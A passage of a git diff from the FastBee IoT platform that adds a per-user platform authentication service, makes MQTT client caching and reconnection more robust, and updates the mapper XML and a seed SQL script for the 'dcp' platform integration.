Exception.class) public void saveWithSteps(PlatformFlow flow, List steps) { diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformInstanceServiceImpl.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformInstanceServiceImpl.java index cb2c8a4d..03a5a65b 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformInstanceServiceImpl.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformInstanceServiceImpl.java @@ -1,32 +1,25 @@ package com.fastbee.iot.platform.service.impl; -import com.alibaba.fastjson2.JSON; -import com.alibaba.fastjson2.JSONObject; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.fastbee.iot.platform.domain.PlatformFlow; +import com.fastbee.common.enums.StatusEnum; import com.fastbee.iot.platform.domain.PlatformInstance; -import com.fastbee.iot.platform.flow.FlowContext; -import com.fastbee.iot.platform.flow.PlatformFlowExecutor; -import com.fastbee.iot.platform.mapper.PlatformFlowMapper; import com.fastbee.iot.platform.mapper.PlatformInstanceMapper; +import com.fastbee.iot.platform.mapper.PlatformUserAuthMapper; import com.fastbee.iot.platform.service.IPlatformInstanceService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.util.StringUtils; -import java.util.Date; -import java.util.List; +import java.util.*; @Service public class PlatformInstanceServiceImpl extends ServiceImpl implements IPlatformInstanceService { @Autowired - private PlatformFlowMapper flowMapper; - @Autowired - private PlatformFlowExecutor flowExecutor; + private PlatformUserAuthMapper platformUserAuthMapper; @Override public List selectList(PlatformInstance query) { @@ -34,45 +27,12 @@ public class PlatformInstanceServiceImpl extends ServiceImpllambdaQuery() - .eq(PlatformFlow::getPlatformId, platformId) - .eq(PlatformFlow::getFlowType, 1) - .eq(PlatformFlow::getEnable, "1") - .last("LIMIT 1")); - if (initFlow == null) throw new RuntimeException("平台未配置初始化流程(flow_type=1)"); - FlowContext ctx = new FlowContext(platform); - flowExecutor.execute(initFlow, ctx); - // 标记初始化完成(extra_config 已在 persistResultSave 中更新) - platform.setInitStatus(1); - this.updateById(platform); - } - - @Override - public void updateToken(Long platformId, String accessToken, Date tokenExpiresAt) { - PlatformInstance update = new PlatformInstance(); - update.setId(platformId); - update.setAccessToken(accessToken); - update.setTokenExpiresAt(tokenExpiresAt); - this.updateById(update); - } - - @Override - public void updateExtraConfig(Long platformId, String key, String value) { - PlatformInstance platform = this.getById(platformId); - if (platform == null) return; - JSONObject extra = StringUtils.hasText(platform.getExtraConfig()) - ? JSON.parseObject(platform.getExtraConfig()) : new JSONObject(); - extra.put(key, value); - PlatformInstance update = new PlatformInstance(); - update.setId(platformId); - update.setExtraConfig(extra.toJSONString()); - this.updateById(update); + List resultList = this.list(wrapper); + if (resultList != null) { + resultList.forEach(instance -> + instance.setInitStatus(platformUserAuthMapper.countEffectivePlatformUser(instance.getId()) > 0 ? + StatusEnum.SUCCESS.getStatus() : StatusEnum.FAIL.getStatus())); + } + return resultList; } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformUserAuthServiceImpl.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformUserAuthServiceImpl.java new file mode 100644 index 00000000..b203ff86 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformUserAuthServiceImpl.java @@ -0,0 +1,177 @@ +package com.fastbee.iot.platform.service.impl; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.dtflys.forest.http.ForestRequest; +import com.dtflys.forest.http.ForestRequestType; +import com.fastbee.common.core.redis.RedisCache; +import com.fastbee.common.core.redis.RedisKeyBuilder; +import com.fastbee.http.model.HttpClientConfig; +import com.fastbee.http.service.HttpClientFactory; +import com.fastbee.iot.platform.domain.PlatformFlow; +import com.fastbee.iot.platform.domain.PlatformInstance; +import com.fastbee.iot.platform.domain.PlatformUserAuth; +import com.fastbee.iot.platform.flow.FlowContext; +import com.fastbee.iot.platform.flow.PlatformFlowExecutor; +import com.fastbee.iot.platform.mapper.PlatformFlowMapper; +import com.fastbee.iot.platform.mapper.PlatformInstanceMapper; +import com.fastbee.iot.platform.mapper.PlatformUserAuthMapper; +import com.fastbee.iot.platform.service.IPlatformUserAuthService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.StringUtils; + +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +@Service +public class PlatformUserAuthServiceImpl extends ServiceImpl + implements IPlatformUserAuthService { + + @Autowired + private PlatformInstanceMapper instanceMapper; + @Autowired + private PlatformFlowMapper flowMapper; + @Autowired + private PlatformFlowExecutor flowExecutor; + @Autowired + private RedisCache redisCache; + + @Override + public List selectList(PlatformUserAuth query) { + return baseMapper.selectList(query); + } + + @Override + public List selectInitializedByPlatformId(Long platformId) { + return baseMapper.selectInitializedByPlatformId(platformId); + } + + @Override + public void initialize(Long userAuthId) { + PlatformUserAuth userAuth = this.getById(userAuthId); + if (userAuth == null) { + throw new RuntimeException("用户认证不存在: " + userAuthId); + } + PlatformInstance platform = instanceMapper.selectById(userAuth.getPlatformId()); + if (platform == null) { + throw new RuntimeException("平台不存在: " + userAuth.getPlatformId()); + } + + // 查找初始化流程 + PlatformFlow initFlow = flowMapper.selectOne(Wrappers.lambdaQuery() + .eq(PlatformFlow::getPlatformId, userAuth.getPlatformId()) + .eq(PlatformFlow::getFlowType, 1) + .eq(PlatformFlow::getEnable, "1") + .last("LIMIT 1")); + if (initFlow == null) { + throw new RuntimeException("平台未配置初始化流程(flow_type=1)"); + } + + // 执行流程,传入用户认证上下文 + FlowContext ctx = new FlowContext(platform, userAuth); + flowExecutor.execute(initFlow, ctx); + + // 标记初始化完成 + userAuth.setInitStatus(1); + this.updateById(userAuth); + } + + @Override + public void updateToken(Long userAuthId, String accessToken, Date tokenExpiresAt) { + PlatformUserAuth update = new PlatformUserAuth(); + update.setId(userAuthId); + update.setAccessToken(accessToken); + update.setTokenExpiresAt(tokenExpiresAt); + this.updateById(update); + } + + @Override + public void updateExtraConfig(Long userAuthId, String key, String value) { + PlatformUserAuth userAuth = this.getById(userAuthId); + if (userAuth == null) return; + JSONObject extra = StringUtils.hasText(userAuth.getExtraConfig()) + ? JSON.parseObject(userAuth.getExtraConfig()) : new JSONObject(); + extra.put(key, value); + PlatformUserAuth update = new PlatformUserAuth(); + update.setId(userAuthId); + update.setExtraConfig(extra.toJSONString()); + this.updateById(update); + } + + @Override + public List> getProjectsByUserAuthId(Long userAuthId) { + PlatformUserAuth userAuth = this.getById(userAuthId); + if (userAuth == null) { + throw new RuntimeException("用户认证不存在: " + userAuthId); + } + + PlatformInstance platform = instanceMapper.selectById(userAuth.getPlatformId()); + if (platform == null) { + throw new RuntimeException("平台不存在: " + userAuth.getPlatformId()); + } + + String userId = userAuth.getPlatformUserId(); + if (!StringUtils.hasText(userId)) { + throw new RuntimeException("用户未完成初始化,缺少 platformUserId。请先执行用户初始化流程。"); + } + + // 尝试从缓存获取 + String key = RedisKeyBuilder.buildDCPProjectInfoKey(userId); + Object cacheObject = redisCache.getCacheObject(key); + if (cacheObject != null) { + return (List>) cacheObject; + } + + // 确保 Token 有效 + String token = flowExecutor.ensureToken(new FlowContext(platform, userAuth)); + String url = platform.getBaseUrl() + "/api/app/project/by-user-id/" + userId; + + HttpClientConfig config = HttpClientConfig.builder() + .url(url) + .method(ForestRequestType.GET) + .headers(Collections.singletonMap("Authorization", "Bearer " + token)) + .build(); + + ForestRequest request = HttpClientFactory.instance(config); + String responseBody = request.executeAsString(); + + if (!StringUtils.hasText(responseBody)) { + return Collections.emptyList(); + } + + List> result = parseProjectsResponse(responseBody); + redisCache.setCacheObject(key, result, 10, TimeUnit.MINUTES); + return result; + } + + @SuppressWarnings("unchecked") + private List> parseProjectsResponse(String responseBody) { + String trimmed = responseBody.trim(); + List> rawList; + + if (trimmed.startsWith("[")) { + rawList = JSON.parseArray(trimmed, Map.class); + } else { + JSONObject json = JSON.parseObject(trimmed); + Object data = json.get("data"); + if (data instanceof List) { + rawList = (List>) data; + } else { + return Collections.emptyList(); + } + } + + return rawList.stream() + .map(m -> { + Map item = new HashMap<>(); + item.put("id", m.get("id")); + item.put("name", m.get("name")); + return item; + }) + .collect(Collectors.toList()); + } +} \ No newline at end of file diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/trigger/DeviceReportTrigger.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/trigger/DeviceReportTrigger.java index f0a94183..01245fdc 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/trigger/DeviceReportTrigger.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/trigger/DeviceReportTrigger.java @@ -5,9 +5,11 @@ import com.fastbee.iot.platform.adapter.dcp.DcpPlatformAdapter; import com.fastbee.iot.platform.domain.PlatformDeviceMapping; import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; import com.fastbee.iot.platform.domain.PlatformInstance; +import com.fastbee.iot.platform.domain.PlatformUserAuth; import com.fastbee.iot.platform.service.IPlatformDeviceMappingService; import com.fastbee.iot.platform.service.IPlatformDeviceSubMappingService; import com.fastbee.iot.platform.service.IPlatformInstanceService; +import com.fastbee.iot.platform.service.IPlatformUserAuthService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.scheduling.annotation.Async; @@ -30,6 +32,8 @@ public class DeviceReportTrigger { @Autowired private IPlatformInstanceService instanceService; @Autowired + private IPlatformUserAuthService platformUserAuthService; + @Autowired private DcpPlatformAdapter dcpAdapter; /** @@ -58,7 +62,9 @@ public class DeviceReportTrigger { PlatformInstance platform = instanceService.getById(mapping.getPlatformId()); if (platform == null || !"1".equals(platform.getEnable())) continue; - dispatchPush(platform, mapping, serialNumber, payload); + PlatformUserAuth platformUserAuth = platformUserAuthService.getById(mapping.getPlatformUserAuthId()); + if (platformUserAuth == null || !"1".equals(platformUserAuth.getEnable())) continue; + dispatchPush(platform, platformUserAuth, mapping, serialNumber, payload); } } catch (Exception e) { log.error("[DeviceReportTrigger] 推送异常 serialNumber={}", serialNumber, e); @@ -66,16 +72,16 @@ public class DeviceReportTrigger { } /** 根据平台 code 路由到对应 Adapter */ - private void dispatchPush(PlatformInstance platform, PlatformDeviceMapping mapping, + private void dispatchPush(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, String reportSerialNumber, String payload) { switch (platform.getCode()) { case "dcp": if (mapping.getDeviceType() != null && mapping.getDeviceType() == 1) { // 网关设备:查子表确定该 serialNumber 的角色和 platformDeviceId - dispatchGatewayPush(platform, mapping, reportSerialNumber, payload); + dispatchGatewayPush(platform, userAuth, mapping, reportSerialNumber, payload); } else { // 直连设备 - dcpAdapter.pushData(platform, mapping, reportSerialNumber, payload); + dcpAdapter.pushData(platform, userAuth, mapping, reportSerialNumber, payload); } break; default: @@ -89,7 +95,7 @@ public class DeviceReportTrigger { * - 上报者是子表中的 reference → adapter 仅缓存基准数据 * - 上报者是网关本身(serial_number 匹配主表) → 判断是否在子表中标记为 reference */ - private void dispatchGatewayPush(PlatformInstance platform, PlatformDeviceMapping mapping, + private void dispatchGatewayPush(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, String reportSerialNumber, String payload) { // 查找该序列号在子表中的记录 List subMappings = subMappingService.selectByParentId(mapping.getId()); @@ -104,6 +110,6 @@ public class DeviceReportTrigger { return; } - dcpAdapter.pushGatewayData(platform, mapping, matchedSub, reportSerialNumber, payload); + dcpAdapter.pushGatewayData(platform, userAuth, mapping, matchedSub, reportSerialNumber, payload); } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttBridge.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttBridge.java index 588a19be..214c66b4 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttBridge.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttBridge.java @@ -9,6 +9,7 @@ import com.fastbee.ruleEngine.context.MsgContext; import com.yomahub.liteflow.annotation.LiteflowComponent; import com.yomahub.liteflow.core.NodeComponent; import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; import org.eclipse.paho.client.mqttv3.MqttAsyncClient; import org.eclipse.paho.client.mqttv3.MqttException; import org.eclipse.paho.client.mqttv3.MqttMessage; @@ -35,16 +36,28 @@ public class MqttBridge extends NodeComponent { if (bridge != null) { MqttClient config = JSON.parseObject(bridge.getConfigJson(), MqttClient.class); MqttAsyncClient client = MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), null); + + if (client == null) { + log.error("=>MQTT客户端创建失败: bridgeId={}", id); + return; + } + + // 优先使用bridge.route,如果为空再使用context.topic + String publishTopic = StringUtils.isNotBlank(bridge.getRoute()) + ? bridge.getRoute() + : cxt.getTopic(); + MqttMessage message = new MqttMessage(); message.setPayload(cxt.getPayload().getBytes()); + try { - client.publish(cxt.getTopic(), message); - log.info("=>桥接发布主题成功 topic={},message={}", cxt.getTopic(), message); + client.publish(publishTopic, message); + log.info("=>桥接发布主题成功: bridgeId={}, topic={}, payload={}", id, publishTopic, cxt.getPayload()); } catch (MqttException e) { - log.error("msg:" + e.getMessage()); - log.error("cause:" + e.getCause()); - log.error("reason:" + e.getReasonCode()); - log.error("=>桥接发布主题时发生错误 topic={},message={}", cxt.getTopic(), e.getMessage()); + log.error("msg:{}", e.getMessage()); + log.error("cause:{}", String.valueOf(e.getCause())); + log.error("reason:{}", e.getReasonCode()); + log.error("=>桥接发布主题失败: bridgeId={}, topic={}, error={}", id, publishTopic, e.getMessage()); } } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttClientFactory.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttClientFactory.java index d6bd83b9..f159920a 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttClientFactory.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/ruleEngine/MqttClientFactory.java @@ -14,50 +14,119 @@ public class MqttClientFactory { private static final Map CLIENT_CACHE = new ConcurrentHashMap<>(); private static final Map CLIENT_OPTIONS_CACHE = new ConcurrentHashMap<>(); + // 每个key独立的锁对象,避免同一bridge并发创建/重连时产生连接泄漏 + private static final Map KEY_LOCKS = new ConcurrentHashMap<>(); public static MqttAsyncClient instance(MqttClientConfig config, MqttCallbackonSuccess callback) throws MqttException { if (config.getKey() == null) { + log.error("=>MQTT配置key为空"); return null; } - MqttAsyncClient client = CLIENT_CACHE.get(config.getKey()); - if (client == null) { - log.debug("=>mqtt客户端:{} 不存在", config.getKey()); - client = instanceNew(config, callback); - CLIENT_CACHE.put(config.getKey(), client); - } else { - log.debug("=>mqtt客户端:{} 存在", config.getKey()); - MqttConnectOptions options = CLIENT_OPTIONS_CACHE.get(config.getKey()); - if (options != null && Objects.equals(options.getUserName(), config.getUsername()) && new String(options.getPassword()).equals(config.getPassword())) { - if (!client.isConnected()) { - client.reconnect(); + + Object lock = KEY_LOCKS.computeIfAbsent(config.getKey(), k -> new Object()); + synchronized (lock) { + MqttAsyncClient client = CLIENT_CACHE.get(config.getKey()); + if (client == null) { + log.info("=>MQTT客户端不存在,创建新客户端: {}", config.getKey()); + client = instanceNew(config, callback); + if (client != null && client.isConnected()) { + CLIENT_CACHE.put(config.getKey(), client); } } else { - log.debug("=>mqtt客户端:{} 配置不一致,重建", config.getKey()); - client = instanceNew(config, callback); - CLIENT_CACHE.put(config.getKey(), client); + log.debug("=>MQTT客户端已存在: {}", config.getKey()); + + // 检查配置是否一致 + MqttConnectOptions options = CLIENT_OPTIONS_CACHE.get(config.getKey()); + boolean configChanged = options == null + || !Objects.equals(options.getUserName(), config.getUsername()) + || !passwordEquals(options.getPassword(), config.getPassword()); + + if (configChanged) { + log.warn("=>MQTT配置已变化,重新创建客户端: {}", config.getKey()); + // 关闭旧连接 + try { + if (client.isConnected()) { + client.disconnect(); + } + client.close(); + } catch (MqttException e) { + log.warn("=>关闭旧客户端失败: {}", e.getMessage()); + } + // 创建新客户端 + client = instanceNew(config, callback); + if (client != null && client.isConnected()) { + CLIENT_CACHE.put(config.getKey(), client); + } + } else if (!client.isConnected()) { + log.warn("=>MQTT客户端未连接,尝试重连: {}", config.getKey()); + try { + client.reconnect(); + // 等待重连完成(最多10秒) + int waitCount = 0; + while (!client.isConnected() && waitCount < 100) { + Thread.sleep(100); + waitCount++; + } + if (client.isConnected()) { + log.info("=>MQTT客户端重连成功: {}", config.getKey()); + } else { + log.error("=>MQTT客户端重连超时: {}", config.getKey()); + return null; + } + } catch (Exception e) { + log.error("=>MQTT客户端重连失败: {}", e.getMessage()); + return null; + } + } } + return client; } - return client; + } + + private static boolean passwordEquals(char[] cached, String configured) { + String cachedStr = cached == null ? null : new String(cached); + return Objects.equals(cachedStr, configured); } public static MqttAsyncClient instanceNew(MqttClientConfig config, MqttCallbackonSuccess callback) { - MqttAsyncClient client = null; - log.debug("=>mqtt客户端config:{}", config); + MqttAsyncClient client; + log.info("=>创建MQTT客户端: hostUrl={}, clientId={}, username={}", config.getHostUrl(), config.getClientId(), config.getUsername()); try { client = new MqttAsyncClient(config.getHostUrl(), config.getClientId(), new MemoryPersistence()); + MqttConnectOptions options = new MqttConnectOptions(); options.setUserName(config.getUsername()); - options.setPassword(config.getPassword().toCharArray()); - options.setCleanSession(false); - options.setAutomaticReconnect(true); + if (config.getPassword() != null) { + options.setPassword(config.getPassword().toCharArray()); + } + + // 关键配置:避免会话冲突和超时 + options.setCleanSession(true); // 清除会话,避免ClientId冲突 + options.setConnectionTimeout(30); // 连接超时30秒 + options.setKeepAliveInterval(60); // 保活间隔60秒 + options.setAutomaticReconnect(true); // 自动重连 + options.setMaxReconnectDelay(60000); // 最大重连延迟60秒 + if (callback != null) { callback.setClient(client); } + + log.debug("=>开始连接MQTT Broker..."); IMqttToken token = client.connect(options, null, callback); - token.waitForCompletion(); + + // 等待连接完成,设置30秒超时 + token.waitForCompletion(30000); + log.info("=>MQTT客户端连接成功: {}", config.getKey()); + CLIENT_OPTIONS_CACHE.put(config.getKey(), options); + } catch (MqttException e) { - log.error("=>mqtt客户端创建错误,原因:{}", e.getMessage()); + log.error("=>MQTT客户端创建错误: reason={}, msg={}", e.getReasonCode(), e.getMessage()); + // 连接失败时返回null,不要返回未连接的客户端 + return null; + } catch (Exception e) { + log.error("=>MQTT客户端创建异常: {}", e.getMessage(), e); + return null; } return client; } @@ -70,7 +139,7 @@ public class MqttClientFactory { client.subscribe(topic, 0, new MessageArrivedHandler(topic)); } } catch (MqttException e) { - e.printStackTrace(); + log.error("=>MQTT订阅失败: key={}, topic={}, error={}", key, topic, e.getMessage()); } } @@ -78,7 +147,7 @@ public class MqttClientFactory { try { client.subscribe(topic, 0, new MessageArrivedHandler(topic)); } catch (MqttException e) { - e.printStackTrace(); + log.error("=>MQTT订阅失败: topic={}, error={}", topic, e.getMessage()); } } @@ -89,7 +158,7 @@ public class MqttClientFactory { client.unsubscribe(topic); } } catch (MqttException e) { - e.printStackTrace(); + log.error("=>MQTT取消订阅失败: key={}, topic={}, error={}", key, topic, e.getMessage()); } } @@ -104,6 +173,9 @@ public class MqttClientFactory { CLIENT_CACHE.remove(key); } catch (MqttException e) { throw new RuntimeException(e); + } finally { + CLIENT_OPTIONS_CACHE.remove(key); + KEY_LOCKS.remove(key); } } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/BridgeServiceImpl.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/BridgeServiceImpl.java index a714fc56..0544a443 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/BridgeServiceImpl.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/BridgeServiceImpl.java @@ -18,6 +18,7 @@ import com.fastbee.http.service.SuccessCondition; import com.fastbee.iot.domain.HttpClient; import com.fastbee.iot.domain.MqttClient; import com.fastbee.iot.domain.MultipleDataSource; +import com.fastbee.iot.model.MqttClientConfig; import com.fastbee.iot.ruleEngine.DataSourceService; import com.fastbee.iot.ruleEngine.MqttCallbackonSuccess; import com.fastbee.iot.ruleEngine.MqttClientFactory; @@ -65,8 +66,7 @@ public class BridgeServiceImpl extends ServiceImpl impleme MqttClient config = JSON.parseObject(bridge.getConfigJson(), MqttClient.class); if (config != null) { try { - MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), - new MqttCallbackonSuccess(bridge)); + MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), new MqttCallbackonSuccess(bridge)); } catch (MqttException e) { throw new RuntimeException(e); } @@ -146,8 +146,7 @@ public class BridgeServiceImpl extends ServiceImpl impleme MqttClient config = JSON.parseObject(add.getConfigJson(), MqttClient.class); if (config != null) { try { - MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), - new MqttCallbackonSuccess(add)); + MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), new MqttCallbackonSuccess(add)); } catch (MqttException e) { throw new RuntimeException(e); } @@ -217,9 +216,9 @@ public class BridgeServiceImpl extends ServiceImpl impleme } else if (bridge.getType() == 4) { MqttClient config = JSON.parseObject(bridge.getConfigJson(), MqttClient.class); if (config != null) { + MqttClientConfig clientConfig = mqttClientService.buildmqttclientconfig(config); try { - MqttAsyncClient client = MqttClientFactory.instance(mqttClientService.buildmqttclientconfig(config), - new MqttCallbackonSuccess(bridge)); + MqttAsyncClient client = MqttClientFactory.instance(clientConfig, new MqttCallbackonSuccess(bridge)); if (client != null && client.isConnected()) { bridge.setStatus("1"); result.set(1); @@ -227,11 +226,11 @@ public class BridgeServiceImpl extends ServiceImpl impleme bridge.setStatus("0"); result.set(0); } - if (client != null) { - client.disconnect().waitForCompletion(); - } } catch (MqttException e) { - log.error("=>mqtt客户端创建错误"); + log.error("=>MQTT客户端创建错误"); + } finally { + // 测试连接仅用于校验可用性,不长期占用缓存,避免下次真实发布时命中一个已断开的客户端 + MqttClientFactory.remove(clientConfig.getKey()); } } } else if (bridge.getType() == 5) { diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/DeviceServiceImpl.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/DeviceServiceImpl.java index f3f5a295..a35fb475 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/DeviceServiceImpl.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/DeviceServiceImpl.java @@ -720,7 +720,7 @@ public class DeviceServiceImpl implements IDeviceService { params.put("{" + refIdentifier + "}", refValue); } else { // 纵向计算物模型 - if (Integer.valueOf(2).equals(thingModels.getIsCalculated())) { + if (Integer.valueOf(2).equals(thingModels.getIsCalculated()) && Objects.nonNull(cacheIdentifier)) { params.put("{" + refIdentifier + "}", cacheIdentifier.getValue()); } else { params.put("{" + refIdentifier + "}", "0"); diff --git a/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ThingsModelMapper.xml b/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ThingsModelMapper.xml index d4a65b40..79d64cc4 100644 --- a/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ThingsModelMapper.xml +++ b/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ThingsModelMapper.xml @@ -243,6 +243,7 @@ m.is_history, m.is_monitor, m.is_app, + m.is_calculated, m.del_flag, m.create_by, m.create_time, diff --git a/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/platform/PlatformDeviceMappingMapper.xml b/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/platform/PlatformDeviceMappingMapper.xml index e17e37f9..0cb9f21c 100644 --- a/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/platform/PlatformDeviceMappingMapper.xml +++ b/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/platform/PlatformDeviceMappingMapper.xml @@ -3,28 +3,31 @@ - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + select + from platform_user_auth + + + AND platform_id = #{platformId} + + + AND platform_user_id like concat('%', #{platformUserId}, '%') + + + AND platform_user_name like concat('%', #{platformUserName}, '%') + + + AND init_status = #{initStatus} + + + AND enable = #{enable} + + + order by id desc + + + + + + + + + \ No newline at end of file diff --git a/sql/platform-dcp-init-data.sql b/sql/platform-dcp-init-data.sql index b26a7db2..881892eb 100644 --- a/sql/platform-dcp-init-data.sql +++ b/sql/platform-dcp-init-data.sql @@ -8,8 +8,36 @@ SET @dcp_platform_id = (SELECT id FROM platform_instance WHERE code = 'dcp' LIMIT 1); +-- 重新执行时先清理本脚本维护的流程和接口,避免旧配置被 LIMIT 1 命中。 +DELETE s FROM platform_flow_step s +INNER JOIN platform_flow f ON f.id = s.flow_id +WHERE f.platform_id = @dcp_platform_id + AND f.code IN ( + 'dcp_init', 'dcp_token_refresh', 'dcp_onboard_inclino', + 'dcp_onboard_stress', 'dcp_onboard_hyeto', + 'dcp_onboard_static_level', 'dcp_onboard_deep_inclino' + ); + +DELETE FROM platform_flow +WHERE platform_id = @dcp_platform_id + AND code IN ( + 'dcp_init', 'dcp_token_refresh', 'dcp_onboard_inclino', + 'dcp_onboard_stress', 'dcp_onboard_hyeto', + 'dcp_onboard_static_level', 'dcp_onboard_deep_inclino' + ); + +DELETE FROM platform_interface +WHERE platform_id = @dcp_platform_id + AND code IN ( + 'dcp_auth', 'dcp_get_user', 'dcp_get_projects', 'dcp_create_point', + 'dcp_bind_inclino', 'dcp_bind_stress', 'dcp_bind_hyeto', + 'dcp_bind_static_level', 'dcp_bind_deep_inclino', + 'dcp_push_inclino', 'dcp_push_stress', 'dcp_push_hyeto', + 'dcp_push_static_level' + ); + -- ============================================= --- 一、接口定义(8个) +-- 一、接口定义(13个) -- ============================================= -- 1. 认证接口 @@ -47,16 +75,16 @@ VALUES (@dcp_platform_id, '获取项目列表', 'dcp_get_projects', 'GET', '/api {"name":"userId","type":"string","source":"context","contextKey":"step2.id","required":true,"desc":"用户ID,来自上一步"} ]', '[ - {"name":"id", "type":"string","path":"[0].id", "desc":"第一个项目ID"}, - {"name":"name", "type":"string","path":"[0].name", "desc":"项目名称"} + {"name":"id", "type":"string","path":"id", "desc":"项目ID"}, + {"name":"name", "type":"string","path":"name", "desc":"项目名称"} ]', -3, '获取用户下的项目列表,取第一个项目', 'system', NOW()); +3, '获取用户下的完整项目列表', 'system', NOW()); -- 4. 创建测点 INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) VALUES (@dcp_platform_id, '创建测点', 'dcp_create_point', 'POST', '/api/app/point', 'application/json', '[ - {"name":"projectId","type":"string","source":"extra","field":"projectId","required":true,"desc":"项目ID"}, + {"name":"projectId","type":"string","source":"device","field":"platform_project_id","required":true,"desc":"项目ID"}, {"name":"name", "type":"string","source":"device","field":"serial_number","required":true,"desc":"测点名称,用设备序列号"}, {"name":"type", "type":"number","source":"fixed","value":3,"required":true,"desc":"测点类型,固定为3"} ]', @@ -69,7 +97,7 @@ VALUES (@dcp_platform_id, '创建测点', 'dcp_create_point', 'POST', '/api/app/ INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) VALUES (@dcp_platform_id, '绑定倾角传感器', 'dcp_bind_inclino', 'POST', '/api/app/inclino-sensor', 'application/json', '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true,"desc":"项目ID"}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true,"desc":"项目ID"}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true,"desc":"测点ID,来自创建测点步骤"}, {"name":"deviceType", "type":"number","source":"fixed", "value":5, "required":true,"desc":"设备类型,倾角=5"}, {"name":"name", "type":"string","source":"device", "field":"serial_number","required":true,"desc":"传感器名称"}, @@ -86,7 +114,7 @@ VALUES (@dcp_platform_id, '绑定倾角传感器', 'dcp_bind_inclino', 'POST', ' INSERT INTO `platform_interface` (`platform_id`,`name`,`code`,`method`,`path`,`content_type`,`request_schema`,`response_schema`,`sort_order`,`remark`,`create_by`,`create_time`) VALUES (@dcp_platform_id, '绑定轴力计', 'dcp_bind_stress', 'POST', '/api/app/stress-sensor', 'application/json', '[ - {"name":"projectId", "type":"string","source":"extra", "field":"projectId", "required":true,"desc":"项目ID"}, + {"name":"projectId", "type":"string","source":"device", "field":"platform_project_id", "required":true,"desc":"项目ID"}, {"name":"pointId", "type":"string","source":"context","contextKey":"step1.id","required":true,"desc":"测点ID"}, {"name":"deviceType", "type":"number","source":"fixed", "value":10, "required":true,"desc":"设备类型,轴力计=10"}, {"name":"name", "type":"string","source":"device", 